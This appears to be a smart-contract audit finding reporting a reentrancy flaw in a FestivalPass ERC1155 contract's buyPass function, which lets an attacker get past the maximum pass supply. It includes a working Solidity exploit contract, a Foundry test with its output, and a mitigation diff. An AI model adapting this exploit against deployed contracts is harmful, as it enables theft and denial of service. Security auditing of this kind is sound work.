Root + Impact
Description
-
FestivalPass contract allows users to buy a pass with specified price, with a maximum supply limit
-
According to the design of ERC1155, _mint() will call checkOnERC1155Received() or checkOnERC1155BatchReceived() to ensure the recipient can indeed receive token, which creates an opportunity for reentrancy
-
Inisde buyPass(), passSupply is updated after _mint() executed, which allow malicious users to re-enter buyPass() and bypass the maximum supply check
-
In addition, allowing reentrancy for buyPass() may lead to DoS where a malicious user purchases all available passes in a single transaction, preventing others from buying them
@>
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, "");
@>
++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
Reentrancy is a well-known and commonly exploited vulnerability, especially in token contracts that interact with untrusted recipients.
Once passSupply is closed to passMaxSupply or attacker has enough fund, this vulnerability will be exploited in a single transaction, no special privileges are required
Impact:
Proof of Concept
Add the following test and exploit contract, and run this command forge test -vv --match-test test_buyPass_reentrant
function test_buyPass_reentrant() public {
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
assertEq(festivalPass.passMaxSupply(1), 1);
console.log("General Pass max supply: ", festivalPass.passMaxSupply(1));
vm.startPrank(user1);
ReentrancyPass exploit = new ReentrancyPass{value: 0.5 ether}(festivalPass, beatToken);
exploit.exploit();
vm.stopPrank();
assertEq(festivalPass.balanceOf(address(exploit), 1), 2);
console.log("Exploit has purchased %s passes: ", festivalPass.balanceOf(address(exploit), 1));
}
contract ReentrancyPass is IERC1155Receiver {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 mint_amount;
constructor(FestivalPass _festivalPass, BeatToken _beatToken) payable {
festivalPass = _festivalPass;
beatToken = _beatToken;
}
function exploit() external {
festivalPass.buyPass{value: 0.05 ether}(1);
}
function onERC1155Received (
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
if (++mint_amount < 2) {
festivalPass.buyPass{value: 0.05 ether}(1);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived (
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {
}
}
PoC result:
forge test -vv --match-test test_buyPass_reentrant
[⠊] Compiling...
[⠘] Compiling 2 files with Solc 0.8.25
[⠃] Solc 0.8.25 finished in 762.66ms
Ran 1 test for test/FestivalPass.t.sol:FestivalPassTest
[PASS] test_buyPass_reentrant() (gas: 680898)
Logs:
General Pass max supply: 1
Exploit has purchased 2 passes:
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.29ms (6.47ms CPU time)
Ran 1 test suite in 273.39ms (37.29ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
function buyPass(uint256 collectionId) external payable {
...
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
...
}